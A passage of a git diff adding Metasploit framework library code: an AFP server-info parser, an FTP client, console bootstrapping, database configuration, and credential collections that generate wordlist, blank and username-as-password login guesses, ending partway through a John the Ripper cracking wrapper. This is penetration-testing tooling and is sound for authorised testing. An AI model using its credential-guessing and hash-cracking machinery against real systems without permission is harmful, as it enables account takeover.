parsed_data[:server_name] = body.unpack("@11A#{server_name_length}").first + + pos = 11 + server_name_length + pos += 1 if pos % 2 != 0 #padding + + server_signature_offset, network_addresses_offset, directory_names_offset, + utf8_servername_offset = body.unpack("@#{pos}nnnn") + + parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset) + parsed_data[:versions] = read_array(body, afp_versions_offset) + parsed_data[:uams] = read_array(body, uam_count_offset) + # skiped icon + parsed_data[:server_flags] = parse_flags(server_flags) + parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first + + network_addresses = read_array(body, network_addresses_offset, true) + parsed_data[:network_addresses] = parse_network_addresses(network_addresses) + # skiped directory names + #Error catching for offset issues on this field. Need better error ahndling all through here + begin + parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset) + rescue + parsed_data[:utf8_server_name] = "N/A" + end + + return parsed_data + end + + def parse_header(packet) + header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order + header[3] = packet[4..7].reverse.unpack("l").first + return header + end + + def get_body(packet, body_length) + body = packet[16..body_length + 15] + raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length + return body + end + + def read_pascal_string(str, offset) + length = str.unpack("@#{offset}C").first + return str.unpack("@#{offset + 1}A#{length}").first + end + + def read_utf8_pascal_string(str, offset) + length = str.unpack("@#{offset}n").first + return str[offset + 2..offset + length + 1] + end + + def read_array(str, offset, afp_network_address=false) + size = str.unpack("@#{offset}C").first + pos = offset + 1 + + result = [] + size.times do + result << read_pascal_string(str, pos) + pos += str.unpack("@#{pos}C").first + pos += 1 unless afp_network_address + end + return result + end + + def parse_network_addresses(network_addresses) + parsed_addreses = [] + network_addresses.each do |address| + case address.unpack('C').first + when 0 #Reserved + next + when 1 # Four-byte IP address + parsed_addreses << IPAddr.ntop(address[1..4]).to_s + when 2 # Four-byte IP address followed by a two-byte port number + parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}" + when 3 # DDP address (depricated) + next + when 4 # DNS name (maximum of 254 bytes) + parsed_addreses << address[1..address.length - 1] + when 5 # This functionality is deprecated. + next + when 6 # IPv6 address (16 bytes) + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]" + when 7 # IPv6 address (16 bytes) followed by a two-byte port number + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}" + else # Something wrong? + raise "Error parsing network addresses" + end + end + return parsed_addreses + end + + def parse_flags(flags) + flags = flags.to_s(2) + result = {} + result['Super Client'] = flags[0,1] == '1' ? true : false + result['UUIDs'] = flags[5,1] == '1' ? true : false + result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false + result['Open Directory'] = flags[7,1] == '1' ? true : false + result['Reconnect'] = flags[8,1] == '1' ? true : false + result['Server Notifications'] = flags[9,1] == '1' ? true : false + result['TCP/IP'] = flags[10,1] == '1' ? true : false + result['Server Signature'] = flags[11,1] == '1' ? true : false + result['Server Messages'] = flags[12,1] == '1' ? true : false + result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false + result['Password Changing'] = flags[14,1] == '1' ? true : false + result['Copy File'] = flags[5,1] == '1' ? true : false + return result + end + + end + end + + end +end + diff --git a/lib/metasploit/framework/api.rb b/lib/metasploit/framework/api.rb new file mode 100644 index 0000000000..b643aec8b2 --- /dev/null +++ b/lib/metasploit/framework/api.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module API + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/api/version.rb b/lib/metasploit/framework/api/version.rb new file mode 100644 index 0000000000..9b6fce0da0 --- /dev/null +++ b/lib/metasploit/framework/api/version.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + module API + # @note This is a like. The API version is not semantically version and it's version has actually never changed + # even though API changes have occured. DO NOT base compatibility on this version. + module Version + MAJOR = 1 + MINOR = 0 + PATCH = 0 + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" + GEM_VERSION = Gem::Version.new(VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/command.rb b/lib/metasploit/framework/command.rb new file mode 100644 index 0000000000..63c614f470 --- /dev/null +++ b/lib/metasploit/framework/command.rb @@ -0,0 +1,26 @@ +# +# Gems +# + +# have to be exact so minimum is loaded prior to parsing arguments which could +# influence loading. +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::Command} namespace because commands need to be able +# to be required directly without any other part of metasploit-framework +# besides config/boot so that the commands can parse arguments, setup +# RAILS_ENV, and load config/application.rb correctly. +module Metasploit + module Framework + module Command + # Namespace for commands for metasploit-framework. There are + # corresponding classes in the {Metasploit::Framework::ParsedOptions} + # namespace, which handle for parsing the options for each command. + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb new file mode 100644 index 0000000000..62b3515a2a --- /dev/null +++ b/lib/metasploit/framework/command/base.rb @@ -0,0 +1,108 @@ +# +# Gems +# + +require 'active_support/core_ext/module/introspection' + +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/parsed_options' +require 'metasploit/framework/require' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Base + # + # Attributes + # + + # @!attribute [r] application + # The Rails application for metasploit-framework. + # + # @return [Metasploit::Framework::Application] + attr_reader :application + + # @!attribute [r] parsed_options + # The parsed options from the command line. + # + # @return (see parsed_options) + attr_reader :parsed_options + + # + # Class Methods + # + + # @note {require_environment!} should be called to load + # `config/application.rb` to so that the RAILS_ENV can be set from the + # command line options in `ARGV` prior to `Rails.env` being set. + # @note After returning, `Rails.application` will be defined and configured. + # + # Parses `ARGV` for command line arguments to configure the + # `Rails.application`. + # + # @return (see parsed_options) + def self.require_environment! + parsed_options = self.parsed_options + # RAILS_ENV must be set before requiring 'config/application.rb' + parsed_options.environment! + ARGV.replace(parsed_options.positional) + + # allow other Rails::Applications to use this command + if !defined?(Rails) || Rails.application.nil? + # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40 + require Pathname.new(__FILE__).parent.parent.parent.parent.parent.join('config', 'application') + end + + # have to configure before requiring environment because + # config/environment.rb calls initialize! and the initializers will use + # the configuration from the parsed options. + parsed_options.configure(Rails.application) + + Rails.application.require_environment! + + parsed_options + end + + def self.parsed_options + parsed_options_class.new + end + + def self.parsed_options_class + @parsed_options_class ||= parsed_options_class_name.constantize + end + + def self.parsed_options_class_name + @parsed_options_class_name ||= "#{parent.parent}::ParsedOptions::#{name.demodulize}" + end + + def self.start + parsed_options = require_environment! + new(application: Rails.application, parsed_options: parsed_options).start + end + + # + # Instance Methods + # + + # @param attributes [Hash{Symbol => ActiveSupport::OrderedOptions,Rails::Application}] + # @option attributes [Rails::Application] :application + # @option attributes [ActiveSupport::OrderedOptions] :parsed_options + # @raise [KeyError] if :application is not given + # @raise [KeyError] if :parsed_options is not given + def initialize(attributes={}) + @application = attributes.fetch(:application) + @parsed_options = attributes.fetch(:parsed_options) + end + + # @abstract Use {#application} to start this command. + # + # Starts this command. + # + # @return [void] + # @raise [NotImplementedError] + def start + raise NotImplementedError + end +end diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb new file mode 100644 index 0000000000..5f2052842c --- /dev/null +++ b/lib/metasploit/framework/command/console.rb @@ -0,0 +1,64 @@ +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/command/base' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base + def start + case parsed_options.options.subcommand + when :version + $stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}" + else + driver.run + end + end + + private + + # The console UI driver. + # + # @return [Msf::Ui::Console::Driver] + def driver + unless @driver + # require here so minimum loading is done before {start} is called. + require 'msf/ui' + + @driver = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + driver_options + ) + end + + @driver + end + + def driver_options + unless @driver_options + options = parsed_options.options + + driver_options = {} + driver_options['Config'] = options.framework.config + driver_options['ConfirmExit'] = options.console.confirm_exit + driver_options['DatabaseEnv'] = options.environment + driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths + driver_options['DatabaseYAML'] = options.database.config + driver_options['Defanged'] = options.console.defanged + driver_options['DisableBanner'] = options.console.quiet + driver_options['DisableDatabase'] = options.database.disable + driver_options['LocalOutput'] = options.console.local_output + driver_options['ModulePath'] = options.modules.path + driver_options['Plugins'] = options.console.plugins + driver_options['RealReadline'] = options.console.real_readline + driver_options['Resource'] = options.console.resources + driver_options['XCommands'] = options.console.commands + + @driver_options = driver_options + end + + @driver_options + end +end diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb new file mode 100644 index 0000000000..fe2ecc3e95 --- /dev/null +++ b/lib/metasploit/framework/common_engine.rb @@ -0,0 +1,76 @@ +# +# Standard Library +# + +require 'fileutils' + +# `Rails::Engine` behavior common to both {Metasploit::Framework::Application} and {Metasploit::Framework::Engine}. +module Metasploit::Framework::CommonEngine + extend ActiveSupport::Concern + + included do + # + # config + # + + # Force binary encoding to remove necessity to set external and internal encoding when construct Strings from + # from files. Socket#read always returns a String in ASCII-8bit encoding + # + # @see http://rubydoc.info/stdlib/core/IO:read + config.before_initialize do + encoding = 'binary' + Encoding.default_external = encoding + Encoding.default_internal = encoding + end + + config.root = Msf::Config::install_root + config.paths.add 'data/meterpreter', glob: '**/ext_*' + config.paths.add 'modules' + + config.active_support.deprecation = :notify + + # + # `initializer`s + # + + initializer 'metasploit_framework.merge_meterpreter_extensions' do + Rails.application.railties.engines.each do |engine| + merge_meterpreter_extensions(engine) + end + + # The Rails.application itself could have paths['data/meterpreter'], but will not be part of + # Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned. + merge_meterpreter_extensions(Rails.application) + end + end + + # + # Instance Methods + # + + private + + # Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`. + # + # @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions + # @return [void] + # @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them. + def merge_meterpreter_extensions(engine) + data_meterpreter_paths = engine.paths['data/meterpreter'] + + # may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set. + if data_meterpreter_paths + source_paths = data_meterpreter_paths.existent + destination_directory = root.join('data', 'meterpreter').to_path + + source_paths.each do |source_path| + basename = File.basename(source_path) + destination_path = File.join(destination_directory, basename) + + unless destination_path == source_path + FileUtils.copy(source_path, destination_directory) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb new file mode 100644 index 0000000000..fdeddb4a96 --- /dev/null +++ b/lib/metasploit/framework/community_string_collection.rb @@ -0,0 +1,74 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + + # This class is responsible for taking datastore options from the snmp_login module + # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. + # This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public} + # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy + # module used. However, community Strings are now considered more to be public credentials than private ones. + class CommunityStringCollection + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + begin + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + pass_fd.each_line do |line| + line.chomp! + yield Metasploit::Framework::Credential.new(public: line, paired: false) + end + end + + if password.present? + yield Metasploit::Framework::Credential.new(public: password, paired: false) + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + end + end +end diff --git a/lib/metasploit/framework/core.rb b/lib/metasploit/framework/core.rb new file mode 100644 index 0000000000..cc94d23f88 --- /dev/null +++ b/lib/metasploit/framework/core.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module Core + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/core/version.rb b/lib/metasploit/framework/core/version.rb new file mode 100644 index 0000000000..c02069540b --- /dev/null +++ b/lib/metasploit/framework/core/version.rb @@ -0,0 +1,19 @@ +require 'metasploit/framework/version' + +module Metasploit + module Framework + # @note This is a lie. The core libraries are not semantically versioned. This is currently just linked to the + # Metasploit::Framework::Version, which is also not semantically versioned. + module Core + module Version + MAJOR = Metasploit::Framework::Version::MAJOR + MINOR = Metasploit::Framework::Version::MINOR + PATCH = Metasploit::Framework::Version::PATCH + PRERELEASE = Metasploit::Framework::Version::PRERELEASE + end + + VERSION = Metasploit::Framework::VERSION + GEM_VERSION = Gem::Version.new(Metasploit::Framework::GEM_VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/credential.rb b/lib/metasploit/framework/credential.rb new file mode 100644 index 0000000000..4915f5f56b --- /dev/null +++ b/lib/metasploit/framework/credential.rb @@ -0,0 +1,119 @@ +require 'active_model' + +module Metasploit + module Framework + # This class provides an in-memory representation of a conceptual Credential + # + # It contains the public, private, and realm if any. + class Credential + include ActiveModel::Validations + + # @!attribute paired + # @return [Boolean] Whether BOTH a public and private are required + # (defaults to `true`) + attr_accessor :paired + # @!attribute parent + # @return [Object] the parent object that had .to_credential called on it to create this object + attr_accessor :parent + # @!attribute private + # The private credential component (e.g. username) + # + # @return [String] if {#paired} is `true` or {#private} is `nil` + # @return [String, nil] if {#paired} is `false` or {#private} is not `nil`. + attr_accessor :private + # @!attribute private_type + # The type of private credential this object represents, e.g. a + # password or an NTLM hash. + # + # @return [String] + attr_accessor :private_type + # @!attribute public + # The public credential component (e.g. password) + # + # @return [String] if {#paired} is `true` or {#public} is `nil` + # @return [String, nil] if {#paired} is `false` or {#public} is not `nil`. + attr_accessor :public + # @!attribute realm + # @return [String,nil] The realm credential component (e.g domain name) + attr_accessor :realm + # @!attribute realm + # @return [String,nil] The type of {#realm} + attr_accessor :realm_key + + validates :paired, + inclusion: { in: [true, false] } + + # If we have no public we MUST have a private (e.g. SNMP Community String) + validates :private, + exclusion: { in: [nil] }, + if: "public.nil? or paired" + + # These values should be #demodularized from subclasses of + # `Metasploit::Credential::Private` + validates :private_type, + inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] }, + if: "private_type.present?" + + # If we have no private we MUST have a public + validates :public, + presence: true, + if: "private.nil? or paired" + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + + self.paired = true if self.paired.nil? + end + + def inspect + "#<#{self.class} \"#{self}\" >" + end + + def to_s + if realm && realm_key == Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + "#{self.realm}\\#{self.public}:#{self.private}" + else + "#{self.public}:#{self.private}#{at_realm}" + end + end + + def ==(other) + other.respond_to?(:public) && other.public == self.public && + other.respond_to?(:private) && other.private == self.private && + other.respond_to?(:realm) && other.realm == self.realm + end + + def to_credential + self.parent = self + self + end + + # This method takes all of the attributes of the {Credential} and spits + # them out in a hash compatible with the create_credential calls. + # + # @return [Hash] a hash compatible with #create_credential + def to_h + { + private_data: private, + private_type: private_type, + username: public, + realm_key: realm_key, + realm_value: realm + } + end + + private + + def at_realm + if self.realm.present? + "@#{self.realm}" + else + "" + end + end + end + end +end diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb new file mode 100644 index 0000000000..ec8d4cce46 --- /dev/null +++ b/lib/metasploit/framework/credential_collection.rb @@ -0,0 +1,158 @@ +require 'metasploit/framework/credential' + +class Metasploit::Framework::CredentialCollection + + # @!attribute blank_passwords + # Whether each username should be tried with a blank password + # @return [Boolean] + attr_accessor :blank_passwords + + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @!attribute realm + # @return [String] + attr_accessor :realm + + # @!attribute user_as_pass + # Whether each username should be tried as a password for that user + # @return [Boolean] + attr_accessor :user_as_pass + + # @!attribute user_file + # Path to a file containing usernames, one per line + # @return [String] + attr_accessor :user_file + + # @!attribute username + # @return [String] + attr_accessor :username + + # @!attribute userpass_file + # Path to a file containing usernames and passwords separated by a space, + # one pair per line + # @return [String] + attr_accessor :userpass_file + + # @option opts [Boolean] :blank_passwords See {#blank_passwords} + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + # @option opts [Boolean] :user_as_pass See {#user_as_pass} + # @option opts [String] :user_file See {#user_file} + # @option opts [String] :username See {#username} + # @option opts [String] :userpass_file See {#userpass_file} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + end + + prepended_creds.each { |c| yield c } + + if username.present? + if password.present? + yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password)) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + end + + if user_file.present? + File.open(user_file, 'r:binary') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + if password + yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + end + end + end + + if userpass_file.present? + File.open(userpass_file, 'r:binary') do |userpass_fd| + userpass_fd.each_line do |line| + user, pass = line.split(" ", 2) + if pass.blank? + pass = '' + else + pass.chomp! + end + yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm) + end + end + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + + private + + def private_type(private) + if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/ + :ntlm_hash + else + :password + end + end + +end diff --git a/lib/metasploit/framework/database.rb b/lib/metasploit/framework/database.rb index 78d3525cf5..611776d3f0 100644 --- a/lib/metasploit/framework/database.rb +++ b/lib/metasploit/framework/database.rb @@ -1,14 +1,100 @@ require 'metasploit/framework' +require 'msf/base/config' module Metasploit module Framework module Database - def self.configurations - YAML.load_file(configurations_pathname) + # + # CONSTANTS + # + + CONFIGURATIONS_PATHNAME_PRECEDENCE = [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + + # + # Module Methods + # + + # Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`. + # + # @param options [Hash{Symbol=>String}] + # @option options [String] :path Path to use instead of first element of {configurations_pathnames} + # @return [Pathname] if configuration pathname exists. + # @return [nil] if configuration pathname does not exist. + def self.configurations_pathname(options={}) + options.assert_valid_keys(:path) + + path = options[:path] + + if path.present? + pathname = Pathname.new(path) + else + pathname = configurations_pathnames.first + end + + if pathname.present? && pathname.exist? + pathname + else + nil + end end - def self.configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + # Return configuration pathnames that exist. + # + # Returns `Pathnames` in order of precedence + # + # 1. {environment_configurations_pathname} + # 2. {user_configurations_pathname} + # 3. {project_configurations_pathname} + # + # @return [Array] + def self.configurations_pathnames + configurations_pathnames = [] + + CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message| + configurations_pathname = public_send(configurations_pathname_message) + + if !configurations_pathname.nil? && configurations_pathname.exist? + configurations_pathnames << configurations_pathname + end + end + + configurations_pathnames + end + + # Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable. + # + # @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank. + # @return [nil] otherwise + def self.environment_configurations_pathname + msf_database_config = ENV['MSF_DATABASE_CONFIG'] + + if msf_database_config.blank? + msf_database_config = nil + else + msf_database_config = Pathname.new(msf_database_config) + end + + msf_database_config + end + + # Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`. + # + # @return [Pathname] + def self.project_configurations_pathname + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent + root.join('config', 'database.yml') + end + + # Pathname to `database.yml` in the user's config directory. + # + # @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default). + # @return [nil] if the user does not have a `database.yml` in their config directory. + def self.user_configurations_pathname + Pathname.new(Msf::Config.get_config_root).join('database.yml') end end end diff --git a/lib/metasploit/framework/database/cucumber.rb b/lib/metasploit/framework/database/cucumber.rb new file mode 100644 index 0000000000..562504c88b --- /dev/null +++ b/lib/metasploit/framework/database/cucumber.rb @@ -0,0 +1,36 @@ +require 'metasploit/framework/database' + +module Metasploit::Framework::Database::Cucumber + def self.project_configurations_path + Rails.root.join('config', 'database.yml').to_path + end + + def self.backup_project_configurations + if File.exist?(project_configurations_path) + # assume that the backup file is from a previously aborted run and it contains the real database.yml data, so + # just delete the fake database.yml and the After hook will restore the real database.yml from the backup location + if File.exist?(backup_project_configurations_path) + File.delete(project_configurations_path) + else + # project contains the real database.yml and there was no previous, aborted run. + File.rename(project_configurations_path, backup_project_configurations_path) + end + end + end + + def self.backup_project_configurations_path + "#{project_configurations_path}.cucumber.bak" + end + + def self.restore_project_configurations + if File.exist?(backup_project_configurations_path) + if File.exist?(project_configurations_path) + # Remove fake, leftover database.yml + File.delete(project_configurations_path) + end + + File.rename(backup_project_configurations_path, project_configurations_path) + end + end +end + diff --git a/lib/metasploit/framework/engine.rb b/lib/metasploit/framework/engine.rb new file mode 100644 index 0000000000..95f7127fe3 --- /dev/null +++ b/lib/metasploit/framework/engine.rb @@ -0,0 +1,19 @@ +# +# Gems +# + +require 'rails/engine' + +# +# Project +# + +require 'metasploit/framework/common_engine' + +module Metasploit + module Framework + class Engine < Rails::Engine + include Metasploit::Framework::CommonEngine + end + end +end diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb new file mode 100644 index 0000000000..a1e3794549 --- /dev/null +++ b/lib/metasploit/framework/ftp/client.rb @@ -0,0 +1,276 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Ftp + module Client + include Metasploit::Framework::Tcp::Client + + # + # This method establishes an FTP connection to host and port specified by + # the 'rhost' and 'rport' methods. After connecting, the banner + # message is read in and stored in the 'banner' attribute. + # + def connect(global = true) + fd = super(global) + + @ftpbuff = '' unless @ftpbuff + + # Wait for a banner to arrive... + self.banner = recv_ftp_resp(fd) + + # Return the file descriptor to the caller + fd + end + + # + # This method handles establishing datasocket for data channel + # + def data_connect(mode = nil, nsock = self.sock) + if mode + res = send_cmd([ 'TYPE' , mode ], true, nsock) + return nil if not res =~ /^200/ + end + + # force datasocket to renegotiate + self.datasocket.shutdown if self.datasocket != nil + + res = send_cmd(['PASV'], true, nsock) + return nil if not res =~ /^227/ + + # 227 Entering Passive Mode (127,0,0,1,196,5) + if res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/ + # convert port to FTP syntax + datahost = "#{$1}.#{$2}.#{$3}.#{$4}" + dataport = ($5.to_i * 256) + $6.to_i + self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + end + self.datasocket + end + + # + # This method handles disconnecting our data channel + # + def data_disconnect + self.datasocket.shutdown + self.datasocket = nil + end + + # + # Connect and login to the remote FTP server using the credentials + # that have been supplied in the exploit options. + # + def connect_login(user,pass,global = true) + ftpsock = connect(global) + + if !(user and pass) + return false + end + + res = send_user(user, ftpsock) + + if (res !~ /^(331|2)/) + return false + end + + if (pass) + res = send_pass(pass, ftpsock) + if (res !~ /^2/) + return false + end + end + + return true + end + + # + # This method logs in as the supplied user by transmitting the FTP + # 'USER ' command. + # + def send_user(user, nsock = self.sock) + raw_send("USER #{user}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method completes user authentication by sending the supplied + # password using the FTP 'PASS ' command. + # + def send_pass(pass, nsock = self.sock) + raw_send("PASS #{pass}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends a QUIT command. + # + def send_quit(nsock = self.sock) + raw_send("QUIT\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends one command with zero or more parameters + # + def send_cmd(args, recv = true, nsock = self.sock) + cmd = args.join(" ") + "\r\n" + ret = raw_send(cmd, nsock) + if (recv) + return recv_ftp_resp(nsock) + end + return ret + end + + # + # This method transmits the command in args and receives / uploads DATA via data channel + # For commands not needing data, it will fall through to the original send_cmd + # + # For commands that send data only, the return will be the server response. + # For commands returning both data and a server response, an array will be returned. + # + # NOTE: This function always waits for a response from the server. + # + def send_cmd_data(args, data, mode = 'a', nsock = self.sock) + type = nil + # implement some aliases for various commands + if (args[0] =~ /^DIR$/i || args[0] =~ /^LS$/i) + # TODO || args[0] =~ /^MDIR$/i || args[0] =~ /^MLS$/i + args[0] = "LIST" + type = "get" + elsif (args[0] =~ /^GET$/i) + args[0] = "RETR" + type = "get" + elsif (args[0] =~ /^PUT$/i) + args[0] = "STOR" + type = "put" + end + + # fall back if it's not a supported data command + if not type + return send_cmd(args, true, nsock) + end + + # Set the transfer mode and connect to the remove server + return nil if not data_connect(mode) + + # Our pending command should have got a connection now. + res = send_cmd(args, true, nsock) + # make sure could open port + return nil unless res =~ /^(150|125) / + + # dispatch to the proper method + if (type == "get") + # failed listings jsut disconnect.. + begin + data = self.datasocket.get_once(-1, ftp_timeout) + rescue ::EOFError + data = nil + end + else + sent = self.datasocket.put(data) + end + + # close data channel so command channel updates + data_disconnect + + # get status of transfer + ret = nil + if (type == "get") + ret = recv_ftp_resp(nsock) + ret = [ ret, data ] + else + ret = recv_ftp_resp(nsock) + end + + ret + end + + # + # This method transmits a FTP command and waits for a response. If one is + # received, it is returned to the caller. + # + def raw_send_recv(cmd, nsock = self.sock) + nsock.put(cmd) + nsock.get_once(-1, ftp_timeout) + end + + # + # This method reads an FTP response based on FTP continuation stuff + # + def recv_ftp_resp(nsock = self.sock) + found_end = false + resp = "" + left = "" + if !@ftpbuff.empty? + left << @ftpbuff + @ftpbuff = "" + end + while true + data = nsock.get_once(-1, ftp_timeout) + if not data + @ftpbuff << resp + @ftpbuff << left + return data + end + + got = left + data + left = "" + + # handle the end w/o newline case + enlidx = got.rindex(0x0a.chr) + if enlidx != (got.length-1) + if not enlidx + left << got + next + else + left << got.slice!((enlidx+1)..got.length) + end + end + + # split into lines + rarr = got.split(/\r?\n/) + rarr.each do |ln| + if not found_end + resp << ln + resp << "\r\n" + if ln.length > 3 and ln[3,1] == ' ' + found_end = true + end + else + left << ln + left << "\r\n" + end + end + if found_end + @ftpbuff << left + return resp + end + end + end + + # + # This method transmits a FTP command and does not wait for a response + # + def raw_send(cmd, nsock = self.sock) + nsock.put(cmd) + end + + def ftp_timeout + raise NotImplementedError + end + + + + protected + + # + # This attribute holds the banner that was read in after a successful call + # to connect or connect_login. + # + attr_accessor :banner, :datasocket + + + end + end + end +end diff --git a/lib/metasploit/framework/jtr/cracker.rb b/lib/metasploit/framework/jtr/cracker.rb new file mode 100644 index 0000000000..52cd44ff7f --- /dev/null +++ b/lib/metasploit/framework/jtr/cracker.rb @@ -0,0 +1,272 @@ +module Metasploit + module Framework + module JtR + + class JohnNotFoundError < StandardError + end + + class Cracker + include ActiveModel::Validations + + # @!attribute config + # @return [String] The path to an optional config file for John to use + attr_accessor :config + + # @!attribute format + # @return [String] The hash format to try + attr_accessor :format + + # @!attribute hash_path + # @return [String] The path to the file containing the hashes + attr_accessor :hash_path + + # @!attribute incremental + # @return [String] The incremental mode to use + attr_accessor :incremental + + # @!attribute john_path + # This attribute allows the user to specify a john binary to use. + # If not supplied, the Cracker will search the PATH for a suitable john binary + # and finally fall back to the pre-compiled versions shipped with Metasploit. + # + # @return [String] The file path to an alternative John binary to use + attr_accessor :john_path + + # @!attribute max_runtime + # @return 